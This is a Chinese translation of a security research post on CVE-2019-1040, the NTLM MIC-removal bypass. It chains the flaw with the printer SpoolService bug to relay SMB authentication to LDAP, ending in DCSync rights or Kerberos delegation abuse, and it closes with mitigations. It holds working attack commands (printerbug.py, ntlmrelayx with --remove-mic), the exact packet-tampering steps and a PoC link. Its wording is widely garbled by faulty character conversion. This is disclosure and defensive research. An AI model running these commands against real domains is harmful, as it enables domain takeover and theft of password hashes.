利用CVE-2019-1040 - 结合RCE和Domain Admin的中继漏洞

  0x00  前言

      在本周以前，微软发布了针对CVE-2019-1040的补丁，这是一个容许绕过NTLM身份验证中继攻击的漏洞。这个漏洞是由Marina Simakov和Yaron Zinar（以及微软咨询公司的其余几位成员）发现的，他们在这里发表了一篇关于该漏洞的漏洞细节。该漏洞容许绕过NTLM身份验证中的消息完整性。然而，若是与Lee Christensen发现的打印机Bug以及我本身的一些研究相结合，这些研究是创建在Elad Shamir的Kerberos研究基础之上，那么它的影响是至关大的。利用这些漏洞的组合，能够将SMB身份验证中继到LDAP。这容许在任何未打补丁的Windows服务器或工做站（甚至是位于不一样Active Directory林中的服务器或工做站）上以SYSTEM身份执行远程代码，并经过任何未打补丁的Exchange服务器上能够将普通用户权限当即升级到域管理员（除非域中的Exchange权限减小）权限。

 0x01  攻击方法

1.将SMB中继到LDAP 

         正如我之前在关于PrivExchange的博客中所讨论的那样，在过去一年中不一样的人所作的研究，使咱们距离控制Active Directory中的任何计算机权限只有一步之遥。若是您能够欺骗Windows服务器（如Exchange）与你进行身份验证，并经过LDAP将该身份验证中继到域控制器，那么可使用被中继受害者的权限在Active Directory中执行操做。在有Exchange的状况下，这会致使足够高的权限授予本身dcsync权限，这也是priveExchange漏洞的问题。或者，经过滥用基于资源的受约束的Kerberos委托，能够在受害者服务器上授予攻击者模拟权限，这将致使在该服务器上拥有管理员访问权限（在我发布的最很差的帖子中有描述）。然而，问题在于，因为NTLM协议的工做方式，（或多或少偶然）没法将SMB流量中继到LDAP，由于这些标志将触发LDAP签名。这就阻止了因为滥用SpoolService错误而在SMB上触发的身份验证产生更多的影响.CVE-2019-1040漏洞能够修改NTLM身份验证数据包而不会使身份验证失效，从而使攻击者可以删除阻止从SMB中继到LDAP的标志。由于Active Directory已处于很是危险的状态（远离控制任何主机的一个漏洞），因此这个漏洞是使用spoolservice bug/功能来攻击任何系统的最后一个难题。这甚至能够跨林信任，由于SpoolService错误的惟一要求是任何通过身份验证的账户。

2.攻击

目前我已准备了两种攻击途径：  

• 使用任何AD账户，经过SMB链接到受害者Exchange服务器，并触发SpoolService错误。攻击者服务器将经过SMB与您从新链接，可使用修改后的ntlmrelayx来中继到LDAP。使用中继的LDAP身份验证，向攻击者账户授予dcsync权限。攻击者账户如今可使用DCSync转储AD中的全部密码哈希值。
• 使用任何AD账户，经过SMB链接到受害者服务器，并触发SpoolService错误。 攻击者服务器将经过SMB与您从新链接，可使用修改后的ntlmrelayx中继到LDAP。 使用中继的LDAP身份验证，在受害者服务器上，将基于资源约束委派的权限授予攻击者控制下的计算机账户。 攻击者如今能够以受害者服务器上的任何用户权限进行身份验证

关于这一点，有几个注意事项：

• 在第一次攻击中，Exchange服务器能够是任何版本（包括为PrivExchange已打补丁的版本）。惟一的要求是，在以共享权限或RBAC模式安装时，Exchange默认状况下具备高权限。在2019年2月12日以后安装的新Exchange部署，或者手动更新以减小此Microsoft博客中建议的安装方法而不易受到攻击（但仍可能受到第二次攻击）。
• 在第二次攻击中，服务器能够是任何未打补丁的Windows Server或工做站，包括域控制器。在以域控制器为目标时，至少须要一个易受攻击的域控制器来中继身份验证，同时在另外一个域控制器上触发SpoolService错误（理论上可能会中继到同一主机，由于咱们能够更改NTLM身份验证，我没有对此进行研究过）。
• 第二次攻击须要控制计算机账户。这多是攻击者从中获取密码的计算机账户，由于他们已是工做站上的管理员，或者是攻击者建立的计算机账户，滥用了Active Directory中的任何账户均可以默认建立这些账户

2.1 攻击1 - Exchange上执行（再次）

在第一次攻击中，咱们使用SpoolService 打印机错误来攻击Exchange服务器，并使用ntlmrelayx进行中继。可使用krbrelayx repo中的printerbug.py，也可使用dementor或原始的.NET代码

python printerbug.py  testsegment.local/testuser@s2012exc.testsegment.local   <attacker ip/hostname>

  这将使Exchange服务器链接到咱们：

在使用Ntlmrelayx时，咱们能够看到它的--remove mic标志：

ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support

这授予咱们的用户DCSync权限，咱们可使用它来转储全部密码哈希值：

2.2 攻击2 - Kerberos委派 

第二次攻击主要是我以前博客中描述的过程。  

咱们使用--remove-mic和--delegate-accessflags ，启动ntlmrelayx.py，并经过tls（ldaps）将其中继到ldap，以便可以建立新的计算机账户（咱们还能够中继到普通ldap，但随后必须升级现有的计算机账户） 

ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support

而后针对辅助域控制器，再次运行printerbug.py脚本（我知道它在rlt-app-server下调用，但这是我在实验室中提高为DC的服务器）：

  这使咱们得到一个中继链接，建立了一个计算机账户

咱们可使用它来模拟域管理员账户：  

咱们可使用这个模拟的票据直接对这个DC运行secretsdump并获取全部哈希值：

 0x02  技巧 - 绕过森林

若是在彻底不一样（受信任）的Active Directory林中的用户，咱们能够在relaytest.local域中执行彻底相同的攻击，由于任何通过身份验证的用户均可以触发spoolservice 反向链接。所以，我创建了一个从relaytest.local到domainb.local的单向传出林信任（这意味着domainb的用户能够在relaytest林/域中进行身份验证）。这一样适用于双向信任

 

咱们运行相同的命令，但如今触发来自domainb的用户的打印机错误：

咱们看到了一样的结果：

 

 

0x03  删除MIC 标志 (CVE-2019-1040)

我已经更新了ntlmrelayx（impacket的一部分），使其具备一个--remove-mic标志，它是基于CVE-2019-1040的漏洞技术研究。 

1.背景

正如咱们在最近的安全 通报中所 宣布的那样，Preempt的研究人员发现了如何在NTLM身份验证上绕过MIC（消息完整性代码）保护，以及修改NTLM消息流中的任何字段，包括签名要求。此绕过容许攻击者将已经协商签名的身份验证尝试中继到另外一台服务器上，同时彻底删除签名要求。全部不强制签名的服务器都容易受到攻击

NTLM中继是对Active Directory环境最多见的攻击之一。针对这种攻击技术最显著的缓解措施是服务器签名。可是，默认状况下，只有域控制器强制执行SMB签名，这在许多状况下会使其余敏感服务器容易受到攻击。可是，为了攻击这样的服务器，攻击者须要捕获一个不协商签名的NTLM协商字段，在HTTP中是这样，但在SMB中不是这种状况，默认状况下，若是双方都支持签名，则必须对会话进行签名。为了确保NTLM协商阶段不被攻击者篡改，Microsoft在最终的NTLM身份验证消息中添加了一个附加字段--MIC。然而，咱们发现，在微软最新的安全补丁以前，这个字段是无用的，它启用了全部最须要的中继场景——从SMB到SMB的中继

2.会话签名

当用户经过NTLM对目标进行身份验证时，他们可能容易受到中继攻击。为了保护服务器免受此类攻击，Microsoft引入了各类缓解措施，其中最重要的是会话签名。当用户针对服务器创建签名会话时，因为没法检索所需的会话密钥，攻击者没法劫持会话。在SMB中，经过在NTLM_NEGOTIATE消息中设置“NTLMSSP_NEGOTIATE_SIGN”标志来协商会话签名。客户端行为由多个组策略（“Microsoft网络客户端：数字签名通讯”）来决定，默认配置是为其设置有问题的标志。若是攻击者试图中继这样的NTLM身份验证，他们将须要确保不协商签名。这样作的一种方法是中继到协议，其中NTLM消息不控制会话完整性，例如LDAPS或HTTPS。可是，这些协议并不是在每台计算机上都被打开的，而是在全部Windows计算机上默认启用的SMB，在许多状况下，它容许远程执行代码。所以，NTLM中继攻击的技巧在于将SMB身份验证请求中继到其余SMB服务器。为了成功执行此类NTLM中继，攻击者须要修改NTLM_NEGOTIATE消息并取消设置“NTLMSSP_NEGOTIATE_SIGN”标志。可是，在新的NTLM版本中，能够防止这种被修改的保护 - MIC覆盖

                                                                                           NTLM_NEGOTIATE消息指示是否协商SMB签名   

3.MIC概述

NTLM身份验证由3种消息类型组成：NTLM_NEGOTIATE，NTLM_CHALLENGE，NTLM_AUTHENTICATE。为了确保消息在传输过程当中不会被恶意者进行篡改，在NTLM_AUTHENTICATE身份验证消息中添加了一个额外的MIC（消息完整性代码）字段。MIC是使用会话密钥应用于全部3条NTLM消息的串联的HMAC_MD5，该会话密钥仅对启动认证的账户和目标服务器是已知的。所以，试图篡改其中一条消息的攻击者（例如，修改签名协商）将没法生成相应的MIC，这将致使攻击失败。

 

                                                                                                      “MIC”字段可防止NTLM消息修改

MIC的存在在NTLM_AUTHENTICATE消息的'msvAvFlag'字段中（标志0x2表示该消息包括MIC），它应彻底保护服务器免受试图删除MIC并执行NTLM中继的攻击者的攻击。可是，咱们发现Microsoft服务器不利用此保护机制，而且容许未签名（无MIC））NTLM_AUTHENTICATE消息。

                                              'flags'字段指示NTLM_AUTHENTICATE消息包括MIC  

4.删除MIC

咱们发现全部NTLM身份验证请求都容易受到中继攻击，不管哪一个协议承载这些请求。若是协商请求包含签名要求，攻击者须要执行如下操做才能绕过MIC的保护：  

• 取消设置NTLM_NEGOTIATE消息中的签名标志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN）  
• 从NTLM_AUTHENTICATE消息中删除MIC 
• 从NTLM_AUTHENTICATE消息中删除版本字段（删除MIC字段而不删除版本字段将致使错误）
• 在NTLM_AUTHENTICATE消息中取消设置如下标志：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION。

咱们认为这是一个严重的攻击向量，它打破了MIC以任何方式保护NTLM身份验证的误解。咱们认为问题在于，接受具备“msvAvFlag”值的认证的目标服务器实际上没有验证该字段的存在。这使得全部不强制执行服务器签名的服务器（在大多数组织中，这意味着绝大多数服务器，由于默认状况下只有域控制器强制执行SMB签名）都容易受到NTLM中继攻击。  

此攻击不只容许攻击者绕过会话签名协商，并且还使组织容易受到更复杂的中继攻击，这些中继攻击操纵传输中的NTLM消息以绕过各类安全设置，例如EPA（加强的身份验证保护）。有关此攻击的更多详细信息，请参阅如下博客。 

为了真正保护您的服务器免受NTLM中继攻击，请在全部服务器上强制执行签名。若是此类配置对您的环境过于严格，请尝试在尽量多的敏感服务器上配置此设置。

Microsoft已发布如下修复程序：https：  //portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040 

 

0x04 绕过EPA攻击支持Windows集成身份验证Web服务器

正如咱们最近的安全通报中所宣布的那样，Preempt的研究人员发现了如何绕过加强的身份验证保护（EPA）机制，成功地在任何支持WIA（Windows集成身份验证）的服务器上经过TLS发起NTLM中继攻击。

攻击者可使用此攻击技术攻击关键服务器，例如：

1. Exchange（OWA） - 对邮件服务器执行NTLM中继到邮件服务器并窃取用户电子邮件   
2. Active Directory联合身份验证服务（AD-FS） - 执行到HTTPS会话的NTLM中继，并模拟云资源上的用户
3. Active Directory - 对LDAPS执行NTLM中继,并使用恶意设置配置目录。

能够在全部Windows版本上利用此漏洞。Preempt还没有发现任何缓解措施。

1. EPA - 背景

NTLM中继是对Active Directory环境最多见的攻击之一。微软提供了两种抵御NTLM中继攻击的技术 ， 一种是服务器签名，主要用于SMB和DCE/RPC，另外一种是通道绑定，也称为EPA。EPA是一种机制，可确保经过TLS通道发送的全部数据包都由知道客户端密钥的一方发送（在NTLM状况下，NT是哈希）。这是经过将Windows身份验证过程与TLS会话绑定来实现的，方法是要求客户端使用GSSAPI安全性签署服务器证书的派生版本。在NTLM中，这是经过在NTLM_AUTHENTICATE消息中添加特定的通道绑定AV对来实现的。因为整个AV对结构都是在NTProofStr中签名的，攻击者没法在不知道用户的NT哈希的状况下来修改它。

                                                                                          带有通道绑定的NTLM_AUTHENTICATE消息  

2. EPA bypass

在另外一项发现中，Preempt研究人员找到了一种从NTLM身份验证中删除消息完整性代码（MIC）的方法。当MIC别删除时，攻击者能够篡改NTLMSSP_CHALLENGE消息。如何利用这些呢？

NTLMSSP_CHALLENGE消息包含TargetInfo字段，NTLM客户端一般回显TargetInfo中的全部AV对，并将这些AV对包含在NTLMSSP_AUTHENTICATE消息中的AV对中。这意味着任何攻击者（能够修改NTLM消息）均可以发送带有本身选择的通道绑定的恶意NTLM_CHALLENGE，以攻击受EPA保护的任何服务器。

 

                                                           带有通道绑定元素的恶意NTLM_CHALLENGE消息

咱们认为这是一种严重的攻击手段，由于EPA其实是保护关键服务器（如AD-FS或OWA）的惟一防线。在许多组织中，网络中占用空间较小的攻击者极可能会使用户经过NTLM进行身份验证并传递其凭据。事实上，因为AD-FS和OWA常常对互联网开放，在某些状况下，攻击者只需发送恶意电子邮件（例如，所描绘的攻击在这里），就能够在没有受感染的机器的状况下攻击这些服务器。

                                                                           带有植入通道绑定的NTLM_AUTHENTICATE消息  

0x05 防护和缓解措施

重要的是要了解补丁是不够的。为了彻底保护您的服务器免受这些类型的NTLM中继攻击，您须要首先在全部服务器上强制执行通道绑定。此任务可能被证实是困难的，由于这须要在每一个服务器上完成（没有管理此功能的组策略）。此外，此漏洞可用于针对域控制器发起LDAPS中继攻击，相似于 2017年Preempt发现的攻击。要防止LDAPS中继攻击，必须在全部域控制器上强制执行通道绑定

经过滥用CVE-2019-1040，咱们可使用协议弱点和默认设置的组合来控制任何易受攻击的Windows主机。最重要的缓解措施是尽快安装2019年6月的汇总补丁。

除此以外，若是您尚未这样作，请按照PrivExchange博客（已发布更新部分）中所说的那样：下降Exchange的权限。

您能够经过在TLS上为LDAP强制LDAP签名和LDAP通道绑定来阻止NTLM中继到LDAP。然而，正如另外一个博客中所描述的那样，当没有安装此问题的补丁时，也可能被绕过通道绑定

为防止攻击者触发SpoolService错误，您能够选择禁用Printer Spooler服务。另外一种缓解方法是阻止主机上445端口的出站流量，或确保防火墙规则过滤来阻止服务器链接到客户端范围并尽量地隔离各个客户端。通常来讲，拥有精细分的分段网络是一项重要的防护措施。

总而言之，请记住，即便安装全部可用的补丁程序，您仍然能够将SMB从中继到LDAP，除非您应用进一步的纵深防护措施，不然它只是在等待下一个不可避免的NTLM攻击

0x06  其余

POC代码暂时出如今个人我的GitHub上，直到它被合并到impacket：https://github.com/dirkjanm/impacket/tree/micremove中。这实现了SMB和LDAP（s）中继客户端中的MIC删除。